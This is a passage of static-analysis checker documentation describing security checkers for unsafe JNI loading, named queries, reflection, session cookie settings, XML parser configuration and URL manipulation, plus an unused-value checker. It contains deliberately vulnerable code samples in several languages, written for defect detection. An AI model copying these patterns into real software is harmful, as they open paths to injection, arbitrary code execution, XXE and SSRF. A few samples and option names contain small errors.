- `UNSAFE_DESERIALIZATION:trust_http_header:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `UNSAFE_DESERIALIZATION:trust_mobile_other_app:<boolean>` - [Kotlin only]. Setting this option to `true` causes the analysis to trust data that is received from any mobile application that does not require permission to communicate with the current application component. Defaults to `UNSAFE_DESERIALIZATION :trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `UNSAFE_DESERIALIZATION:trust_mobile_other_privileged_app:<boolean>` - [Kotlin only]. Setting this option to `false` causes the analysis to treat data as tainted when the data is received from any mobile application that requires permission to communicate with the current application component. Defaults to

`UNSAFE_DESERIALIZATION :trust_mobile_other_privileged_app:true` . Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.

- `UNSAFE_DESERIALIZATION:trust_mobile_other_same_app:<boolean>` - [Kotlin only] Setting this option to `false` causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `UNSAFE_DESERIALIZATION :trust_mobile_same_app:true` . Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `UNSAFE_DESERIALIZATION:trust_mobile_user_input:<boolean>` - [Kotlin only] Setting this option to `true` causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `UNSAFE_DESERIALIZATION :trust_mobile_user_input:false` . Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `UNSAFE_DESERIALIZATION:trust_network:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to `false` causes the analysis to treat data from the network as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `UNSAFE_DESERIALIZATION:trust_rpc:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to `false` causes the analysis to treat data from RPC requests as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `UNSAFE_DESERIALIZATION:trust_system_properties:<boolean>` - [JavaScript, Kotlin, and PHP only] Setting this option to `false` causes the analysis to treat data from system properties as tainted. Defaults to `UNSAFE_DESERIALIZATION:trust_system_properties:true` . Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

#### 4.328.5. Events

This section describes one or more events produced by the `UNSAFE_DESERIALIZATION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

##### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.

- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java and Kotlin only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.329. UNSAFE\_JNI

Security Checker

### 4.329.1. Overview

**Supported Languages:** Java

`UNSAFE_JNI` finds unsafe Java Native interface library injection vulnerabilities, which arise when uncontrolled dynamic data is used as a dynamic library path. This security vulnerability might allow an attacker to load an untrusted dynamic library and potentially execute unsafe code.

**Disabled by default:** `UNSAFE_JNI` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNSAFE_JNI` along with other Web application checkers, use the `--webapp-security` option.

### 4.329.2. Examples

This section provides one or more `UNSAFE_JNI` examples.

In the following example, the method obtains through the HTTP request parameter `libraryName` a native library name. This library name is then passed to the JNI library method API method `java.lang.System.loadLibrary`.

```
protected void loadLibrary(HttpServletRequest request, String libraryName)
 throws ServletException
{
 if (libraryName == null) {
 libraryName = request.getParameter("libraryName");
 }
}
```

```
}
try {
 System.loadLibrary(libraryName);
 //...
} catch (Exception e) {
 throw new ServletException("Error loading " + libraryName);
}
}
```

An attacker can pass in any library name to this method. This library might load in different implementations of native methods that are already loaded into the application. The loading of these methods might cause unforeseen side effects within the application.

### 4.329.3. Events

This section describes one or more events produced by the `UNSAFE_JNI` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.330. UNSAFE\_NAMED\_QUERY

Security Checker

### 4.330.1. Overview

**Supported Languages:** C#, Java, Visual Basic

The `UNSAFE_NAMED_QUERY` checker reports cases where an untrusted string is used as a database query name.

Some database systems allow queries and commands to be stored and executed by name. If a malicious user has control over this name string, they might be able to execute an unintended command to alter program behavior or to expose sensitive data.

Unlike an SQL injection vulnerability, where an attacker can introduce arbitrary SQL syntax, exploiting this vulnerability is more limited. The attacker can misuse only the functionality that has been exposed as a pre-defined query.

**Disabled by default:** `UNSAFE_NAMED_QUERY` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNSAFE_NAMED_QUERY` along with other Web application checkers, use the `--webapp-security` option.

### 4.330.2. Defect Anatomy

The `UNSAFE_NAMED_QUERY` defect shows a dataflow path by which untrusted (tainted) data makes its way into a database query name.

### 4.330.3. Examples

This section provides one or more `UNSAFE_NAMED_QUERY` examples.

#### 4.330.3.1. Java

In the following example, a defect is reported for the `session.getNamedQuery` call.

```
public void UnsafeNamedQueryCommand(
 org.hibernate.Session session,
 javax.servlet.http.HttpServletRequest request) throws Exception
{
 String queryName = request.getParameter("query");
 session.getNamedQuery(queryName);
}
```

#### 4.330.3.2. C#

In the following example, a defect is reported for the `session.getNamedQuery` call: the untrusted string is passed as a query name. The previous statement executes an NHibernate query name obtained from untrusted HTTP request data.

```
using System.Web;
using NHibernate;

public void RunWebQuery(HttpRequest request, ISession session)
{
 IQuery query = session.GetNamedQuery(request["query"]);

 // Set parameters and execute query
 query.SetString("name", request["name"]);
 var results = query.List<String>();
}
```

### 4.330.3.3. Visual Basic

In the following example, a defect is reported for the `session.getNamedQuery` call.

```
Imports System.Web
Imports NHibernate

Public Class DatabaseManager

 Private session As ISession

 Public Function GetSavedQuery(ByVal queryId As String) as IQuery
 return session.GetNamedQuery(request(queryId))
 End Function

 Public Sub UnsafeNamedQuery(request As HttpRequest)
 Dim query As IQuery = GetSavedQuery("saved_query_" + request("id"))
 End Sub

End Class
```

## 4.331. UNSAFE\_REFLECTION

Security Checker

### 4.331.1. Overview

**Supported Languages:** Java, PHP, Ruby

UNSAFE\_REFLECTION finds unsafe reflection vulnerabilities, which arise when uncontrolled dynamic data is used as a class, method, or field/property name. This name is then passed to a reflection API. This security vulnerability might allow an attacker to bypass security checks, obtain unauthorized data, or execute arbitrary code.

**Disabled by default:** UNSAFE\_REFLECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

For Ruby, UNSAFE\_REFLECTION is enabled by default.

**Web application security checker enablement:** To enable `UNSAFE_REFLECTION` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `UNSAFE_REFLECTION` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.331.2. Examples

This section provides one or more `UNSAFE_REFLECTION` examples.

### 4.331.2.1. Java

In the following example, the method obtains a class name through the HTTP request parameter `typeValue`. This class name is then passed to a reflection API method `Class.forName`. The example then invokes the `invoke` method on the class.

```
protected void invokeObjectType(HttpServletRequest request, String className)
 throws ServletException
{
 if (className == null) {
 className = request.getParameter("typeValue");
 }
 try {
 Class clazz = Class.forName(className);
 Method method = clazz.getMethod("invoke", null);
 method.invoke(null, null);
 //...
 } catch (Exception e) {
 throw new ServletException("Error reflecting on " + className);
 }
}
```

An attacker can pass in any class on the class path that has a public no-argument method called `invoke`. The invocation of that method might cause unforeseen side effects within the application.

### 4.331.2.2. PHP

In the following example, the snippet obtains the name of a comparator from an HTTP request parameter, and stores it in a variable. The comparator function is then invoked via reflection and used to compute the difference of two arrays. While the expectation is for the user to supply the name of a function that orders pairs of elements, an attacker could supply an arbitrary function. This would allow them to bypass security checks, obtain unauthorized data, or execute arbitrary code.

```
<?php
$comparo = $_GET['keyComparator'];
array_diff_uassoc($ar1, $ar2, $comparo);
?>
```

### 4.331.2.3. Ruby

The following Ruby on Rails example demonstrates unsafe reflection when turning an HTTP request parameter into a constant.

```
class ExampleController < ApplicationController
 def account
 account_type = params[:type].constantize
 end
end
```

### 4.331.3. Options

This section describes one or more `UNSAFE_REFLECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNSAFE_REFLECTION:distrust_all:<boolean>` - [PHP only] Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `UNSAFE_REFLECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `UNSAFE_REFLECTION:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `UNSAFE_REFLECTION:trust_command_line:<boolean>` - [PHP only] Setting this option to `false` causes the analysis to treat command line arguments as tainted. Defaults to `UNSAFE_REFLECTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `UNSAFE_REFLECTION:trust_console:<boolean>` - [PHP only] Setting this option to `false` causes the analysis to treat data from the console as tainted. Defaults to `UNSAFE_REFLECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `UNSAFE_REFLECTION:trust_cookie:<boolean>` - [PHP only] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `UNSAFE_REFLECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `UNSAFE_REFLECTION:trust_database:<boolean>` - [PHP only] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `UNSAFE_REFLECTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `UNSAFE_REFLECTION:trust_environment:<boolean>` - [PHP only] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `UNSAFE_REFLECTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.

- `UNSAFE_REFLECTION:trust_filesystem:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `UNSAFE_REFLECTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `UNSAFE_REFLECTION:trust_http:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `UNSAFE_REFLECTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `UNSAFE_REFLECTION:trust_http_header:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `UNSAFE_REFLECTION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `UNSAFE_REFLECTION:trust_network:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `UNSAFE_REFLECTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `UNSAFE_REFLECTION:trust_rpc:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `UNSAFE_REFLECTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `UNSAFE_REFLECTION:trust_system_properties:<boolean>` - [PHP only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `UNSAFE_REFLECTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

#### 4.331.4. Events

This section describes one or more events produced by the `UNSAFE_REFLECTION` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.

##### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.

- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

## 4.332. UNSAFE\_SESSION\_SETTING

Security Checker

### 4.332.1. Overview

**Supported Languages:** Ruby

`UNSAFE_SESSION_SETTING` reports unsafe settings related to web server sessions.

**Enabled by default:** `UNSAFE_SESSION_SETTING` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.332.2. Defect Anatomy

`UNSAFE_SESSION_SETTING` defects are reported whenever the events described in the *Events* section occur.

### 4.332.3. Examples

This section provides one or more `UNSAFE_SESSION_SETTING` examples.

The following Ruby-on-Rails example demonstrates disabling the `HTTPOnly` and `Secure` flags for session cookies.

```
Example::Application.config.session_store :cookie_store, :key =>
 '_example_session', :httponly => false, :secure => false
```

### 4.332.4. Events

This section describes one or more events produced by the `UNSAFE_SESSION_SETTING` checker.

- `http_cookies` - Browser cookies used to track sessions are not configured to use the `HTTPOnly` flag.
- `secure_cookies` - Browser cookies used to track sessions are not configured to use the `Secure` flag.
- `session_secret` - The session secret key is stored in the source code repository.

## 4.333. UNSAFE\_XML\_PARSE\_CONFIG

Security Checker

### 4.333.1. Overview

**Supported Languages:** C, C++

The `UNSAFE_XML_PARSE_CONFIG` checker examines argument usage from the `libxml` and `Xerces-C++` libraries. Some arguments should be precluded from taking particular values. Otherwise, unsafe XML parsing configurations can result and make the program vulnerable to attacks such as XML external entity attack, billion laughs attack, XML parsing recovery error attack, `Xinclude` attack, etc.

**Disabled by default:** `UNSAFE_XML_PARSE_CONFIG` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `UNSAFE_XML_PARSE_CONFIG` along with other security checkers, use the `--security` option with the `cov-analyze` command.

### 4.333.2. Defect Anatomy

#### 4.333.2.1. Libxml library functions of interest

`UNSAFE_XML_PARSE_CONFIG` examines the `libxml` library functions listed in this section.

Calls to the following functions:

- `xmlDocPtr xmlCtxtReadDoc(xmlParserCtxtPtr ctxt, const xmlChar *cur, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlCtxtReadFd(xmlParserCtxtPtr ctxt, int fd, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlCtxtReadFile(xmlParserCtxtPtr ctxt, const char *filename, const char *encoding, int options)`
- `xmlDocPtr xmlCtxtReadIO(xmlParserCtxtPtr ctxt, xmlInputReadCallback ioread, xmlInputCloseCallback ioclose, void *ioctx, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlCtxtReadMemory(xmlParserCtxtPtr ctxt, const char *buffer, int size, const char *URL, const char *encoding, int options)`

- `int xmlCtxtUseOptions(xmlParserCtxtPtr ctxt, int options)`
- `xmlParserErrors xmlParseInNodeContext(xmlNodePtr node, const char *data, int datalen, int options, xmlNodePtr *lst)`
- `xmlDocPtr xmlReadDoc(const xmlChar *cur, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlReadFd(int fd, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlReadFile(const char *filename, const char *encoding, int options)`
- `xmlDocPtr xmlReadIO(xmlInputReadCallback ioread, xmlInputCloseCallback ioclose, void *ioctx, const char *URL, const char *encoding, int options)`
- `xmlDocPtr xmlReadMemory(const char *buffer, int size, const char *URL, const char *encoding, int options)`

should not use any of the following flags ( enum values) within the `options` argument:

- `XML_PARSE_RECOVER ( 1<<0 )`: recovers on errors
- `XML_PARSE_NOENT ( 1<<1 )`: expands entities and substitutes them with replacement text
- `XML_PARSE_DTDLOAD ( 1<<2 )`: load the external document type definition
- `XML_PARSE_HUGE ( 1<<19 )`: relax any hardcoded limit from the parser

Calls to the following function:

- `int xmlSubstituteEntitiesDefault(int val)`

should not set the argument `val` to the value `1`. Doing so permits entity substitution, which can allow malicious entities to be substituted.

Calls to the following functions:

- `int xmlXIncludeProcessFlags(xmlDocPtr doc, int flags)`
- `int xmlXIncludeProcessFlagsData(xmlDocPtr doc, int flags, void *data)`
- `int xmlXIncludeProcessTreeFlags(xmlNodePtr tree, int flags)`
- `int xmlXIncludeProcessTreeFlagsData(xmlNodePtr tree, int flags, void *data)`
- `int xmlXIncludeSetFlags(xmlXIncludeCtxtPtr ctxt, int flags)`

should not use the following flag ( enum value) within the `flags` argument:

- `XML_PARSE_XINCLUDE ( 1<<10 )`: `XINCLUDE` should be disabled when receiving XML from external system

#### 4.333.2.2. Xerces-C++ library functions of interest

`UNSAFE_XML_PARSE_CONFIG` examines the Xerces-C++ library functions listed in this section.

Calls to the following functions:

- `void XercesDOMParser::setValidationConstraintFatal(const bool newState)`
- `void SAXParser::setValidationConstraintFatal(const bool newState)`

should set the `newState` argument to `true`. Otherwise the parser does not treat validation errors as fatal and continues processing, which is not recommended.

Calls to the following function:

- `void XercesDOMParser::setDoXInclude(const bool newState)`

should set the `newState` argument to `false`. Passing `true` could lead to including external files, which can be dangerous.

Calls to the following functions:

- `void XercesDOMParser::setLoadExternalDTD(const bool newState)`
- `void SAXParser::setLoadExternalDTD(const bool newState)`

should set the `newState` argument to `false`. Passing `true` creates a vulnerability to a billion laughs attack.

Calls to the following function:

- `void XercesDOMParser::setCreateEntityReferenceNodes(const bool create)`

should set the `newState` argument to `false`. If set to `true`, the parser creates entity reference nodes in the DOM tree, which creates a vulnerability to an XML external entity attack.

Calls to the following function:

- `void SAXParser::setDisableDefaultEntityResolution(const bool newValue)`

should set the `newState` argument to `true`. Passing `false` enables entity resolution, which creates a vulnerability to an XML external entity attack.

Calls to the following function:

- `void SAX2XMLReader::setFeature(const XMLCh *const name, const bool value)`

should not use the following combinations of values for the `name` and `value` arguments:

- `XMLUni::fgXercesDisableDefaultEntityResolution` and `false`
- `XMLUni::fgXercesLoadExternalDTD` and `true`
- `XMLUni::fgXercesContinueAfterFatalError` and `true`

- `XMLUni::fgXercesValidationErrorsAsFatal` and `false`
- `XMLUni::fgXercesDoXInclude` and `true`

### 4.333.3. Examples

This section provides one or more `UNSAFE_XML_PARSE_CONFIG` examples.

The following example shows an `UNSAFE_XML_PARSE_CONFIG` defect in which the flag `XML_PARSE_RECOVER` is erroneously set. Setting this flag can lead to application level attacks that depend on the application context. It is better to leave this flag unset and not recover from errors when processing malformed XML.

```
xmlDocPtr foo(const char *buffer, int size, const char *URL, const char *encoding)
{
 int options = XML_PARSE_RECOVER;
 return xmlReadMemory(buffer, size, URL, encoding, options); // defect
}
```

### 4.333.4. Events

This section describes one or more events produced by the `UNSAFE_XML_PARSE_CONFIG` checker.

- `unsafe_xml_parse_config` - Indicates the location of bad argument useage that could lead to unsafe XML parsing configurations.

## 4.334. UNUSED\_VALUE

Quality Checker

### 4.334.1. Overview

**Supported Languages:** C, C++, C#, Java, Objective-C, Objective-C++, Go

`UNUSED_VALUE` finds many instances of values that are assigned to variables but never used. For example, it can find places where a typographical or cut-and-paste error means that the wrong variable is being accessed. The analysis should never report a value as unused if it actually is used. Contact the support team if this occurs.

**Enabled by default:** `UNUSED_VALUE` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

### 4.334.2. Examples

This section provides one or more `UNUSED_VALUE` examples.

#### 4.334.2.1. C/C++

In the following example, the value assigned here, `result = "Buenos Aires";` and `result = "Rome";` will never be used; the result `"Unknown"` will overwrite values `"Buenos Aires"` and `"Rome"`.

```
#include <string.h>

const char* get_capital_city(const char *country)
{
 const char *result = 0;
 if (strcmp(country, "Argentina") == 0) {
 result = "Buenos Aires";
 } else if (strcmp(country, "Italy") == 0) {
 result = "Rome";
 } if (strcmp(country, "China") == 0) { // Should be 'else if' here.
 result = "Beijing";
 } else {
 result = "Unknown";
 }
 return result;
}
```

#### 4.334.2.2. C#

In the following example, the assigned value `i = 10` is never used. The `i = 20` value is overwritten.

```
class Test {
 int func(bool b)
 {
 int i = 0;
 if (b) {
 i = 10; }
 i = 20;
 return i;
 }
}
```

#### 4.334.2.3. Go

In the following example, the assigned value `i = 10` is never used, and the `i = 20` value is overwritten.

```
func unused(b bool) int {
 i := 0
 if b {
 i = 10
 }
 i = 20
 return i
}
```

#### 4.334.2.4. Java

```
class Test {
 int func(boolean b)
 {
```

```

int i = 0;
if (b) {
 i = 10;
}
i = 20; // Value is overwritten.
return i;
}
}

```

### 4.334.3. Options

This section describes one or more `UNUSED_VALUE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNUSED_VALUE:defects_threshold_on_var:<count>` - In some coding environments, a variable will be intentionally assigned values many times without being used. This option sets a threshold for the number of defects above which no defect will be reported for assignments to the same variable. This option can take a value from 1 to 99. Defaults to `UNUSED_VALUE:defects_threshold_on_var:2`
- `UNUSED_VALUE:report_adjacent_assignment:<boolean>` - When this option is true, the checker will report defects where an assignment is immediately overwritten with another assignment. Defaults to `UNUSED_VALUE:report_adjacent_assignment:true` (for All).

Such defects typically occur in the following cases:

- Where a non-simple assignment was intended, for example:

```

void test1(int x) {
 x = 1; // Defect here.
 x = 2; // Did the programmer mean "x |= 2" here?
 ...
}

```

- Where an incorrect variable is used (perhaps because of a cut-and-paste error), for example:

```

void test2(int x, int y) {
 x = someX; // Defect here.
 x = someY; // Did the programmer mean "y = someY" here?
 ...
}

```

Such defects receive a Medium impact rating.

- `UNUSED_VALUE:report_dominating_assignment:<boolean>` - By default, the checker does not report cases where all the control flow paths that overwrite a value also contain the former assignment of this value to a variable. The assignment is said to dominate the value overwrite. When this option is true, such cases will be reported as defects, but it can also cause the checker to report some instances where a program defensively

initializes a variable and then reassigns it without ever using the initializing value. Defaults to `UNUSED_VALUE:report_dominating_assignment:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `UNUSED_VALUE:report_never_read_variable:<boolean>` - When this option is true, the checker will report cases where a variable is assigned one or more values but none are used. Defaults to `UNUSED_VALUE:report_never_read_variable:false`
- `UNUSED_VALUE:report_overwritten_initializer:<boolean>` - When this option is true, the checker will report cases where a value that initialized a variable is overwritten before it is used. Defaults to `UNUSED_VALUE:report_overwritten_initializer:true`
- `UNUSED_VALUE:report_unused_final_assignment:<boolean>` - When this option is true, the checker will report cases where a variable is assigned a final value, but that value is never used before the variable goes out of scope. Defaults to `UNUSED_VALUE:report_unused_final_assignment:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `UNUSED_VALUE:report_unused_initializer:<boolean>` - When this option is true, the checker will report cases where a value that initialized a variable is never used or overwritten. Defaults to `UNUSED_VALUE:report_unused_initializer:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

#### 4.334.4. Events

This section describes one or more events produced by the `UNUSED_VALUE` checker.

- `assigned_pointer` - [C/C++, Go] A pointer value from a constant or variable was assigned to a variable. The value was not subsequently used.
- `assigned_reference` - [C# and Java only] An object reference value from a constant or variable was assigned to a variable. The value was not subsequently used.
- `assigned_value` - A value from a constant or variable and that is not a pointer (C/C++) or an object reference (C#, Java) was assigned to a variable. The value was not subsequently used.
- `returned_pointer` - [C/C++, Go] A pointer value returned by a function call was assigned to a variable. The value was not subsequently used.
- `returned_reference` - [C# and Java] An object reference value returned by a function call was assigned to a variable. The value was not subsequently used.
- `returned_value` - A value returned by a function call and that is not a pointer (C/C++) or an object reference (C#, Java) was assigned to a variable. The value was not subsequently used.

- `value_overwrite` - A new value was assigned to a variable which was holding a tracked value.

## 4.335. URL\_MANIPULATION

Security Checker

### 4.335.1. Overview

**Supported Languages:** C, C++, Go, Java, JavaScript, Kotlin, Python, TypeScript

`URL_MANIPULATION` detects instances in which a URL or a URI is constructed unsafely. An attacker who has control over the URL *schema* can completely change the meaning of the URL, including targeting a different endpoint or a file. An attacker with control over the URL *authority* can mount a phishing attack by modifying the URL value to point to a malicious website. An attacker who controls the *path* part of the URL can perform directory traversal in a path (for example, `../`) or specify absolute paths. These types of vulnerabilities can be prevented by proper input validation. User input should be allowlisted to contain only the expected values or characters.

To enable `URL_MANIPULATION` along with other security checkers, use the `--security` option to the **cov-analyze** command.

**Disabled by default for C, C++, Java, JavaScript, Python, TypeScript:** `URL_MANIPULATION` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

- **Web application security checker enablement:** To enable `URL_MANIPULATION` along with other Web application checkers, use the `--webapp-security` option.
- **Android security checker enablement:** To enable `URL_MANIPULATION` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

**Enabled by default for Go and Kotlin** `URL_MANIPULATION` is enabled by default.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

#### 4.335.1.1. Server-side Applications

On server-side code, the application might be vulnerable to server-side request forgery (SSRF). The manipulation of the URL or URI can eventually lead the server to connect to a malicious website or leak information from a file.

#### 4.335.1.2. Client-side Applications

On client-side code, the attacker can change the endpoint where a request will be sent, or can append malicious data to the constructed URL, which might lead to HTTP parameter pollution.

#### 4.335.1.3. Mobile Applications

Similar to server-side applications, an attacker might forge a request to access unexpected files on the server or to access a different endpoint. One can also manipulate the URL to access a local file on the Android system.

The `URL_MANIPULATION` checker uses the global trust model to determine whether to trust servlet inputs, network data, filesystem data, or database information. You can use the `--trust-*` and/or `--distrust-*` options to `cov-analyze` to modify the current settings.

### 4.335.2. Defect Anatomy

A `URL_MANIPULATION` defect shows a dataflow path by which untrusted (tainted) data is used as part of a URL or a URI. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program (for example, from the argument of a function call to the parameter of the called function). The final part of the dataflow path shows the tainted value used in an API that attempts to access the URL.

### 4.335.3. Examples

This section provides one or more `URL_MANIPULATION` examples.

#### 4.335.3.1. C/C++

In the following example, a `URL_MANIPULATION` defect is shown for the `downloadFile` statement.

```
void url_manipulation_example(int socket, unsigned short url_len) {
 char url[url_len+1];
 int read = recv(socket, url, url_len, 0);
 if (read == url_len) {
 url[url_len] = '\0';
 downloadFile(url);
 }
}
```

#### 4.335.3.2. Go

In the following Go example, the `url` from a user request can be any user controllable data; when it's used to construct a request by `http.NewRequest`, it's vulnerable to attack and a `URL_MANIPULATION` defect is shown.

```
package main

import (
 "net/http"
)

func test(req *http.Request) {
 url := req.URL.Query().Get("URL")
 http.NewRequest("GET", url, nil) // URL_MANIPULATION defect
}
```

#### 4.335.3.3. Java

The following is a simple example of an instance where `URL_MANIPULATION` would report a defect in an Android application. If `WebActivity` is exported, a malicious application can send an `Intent` that contains a URL pointing to a malicious website or a sensitive local file.

```
public class WebActivity extends Activity {
 @Override
 protected void onCreate(Bundle bundle) {
 WebView webview = new WebView(this);
 String url = getIntent().getStringExtra("url");
 webview.loadUrl(url);
 }
}
```

#### 4.335.3.4. JavaScript

The following is a simple example of an instance where `URL_MANIPULATION` would report a defect.

```
const name = location.hash.slice(1);
const endpoint = 'http://server/' + name + '/get-all';
fetch(endpoint).then(response => process(response));
```

#### 4.335.3.5. Kotlin

The following is a simple example of an instance where `URL_MANIPULATION` would report a defect in an Android application. If `WebActivity` is exported, a malicious application can send an `Intent` that contains a URL pointing to a malicious website or a sensitive local file. A defect is reported on the call to `webview.loadUrl(url)`.

```
public class WebActivity : Activity() {

 protected override fun onCreate(bundle: Bundle?) {
 val webview = WebView(this)
 val url = getIntent().getStringExtra("url")
 webview.loadUrl(url)
 }
}
```

#### 4.335.3.6. Python

The following is a simple example of an instance where `URL_MANIPULATION` would report a defect.

```
import requests
import httpplib
def Test():
 taint = requests.get('example.com').text
 http = httpplib.HTTP(host='host', port='port', strict='strict')
 http.putrequest('method', taint, skip_host='skip_host',
 skip_accept_encoding='skip_accept_encoding')
```

### 4.335.4. Options

This section describes one or more `URL_MANIPULATION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

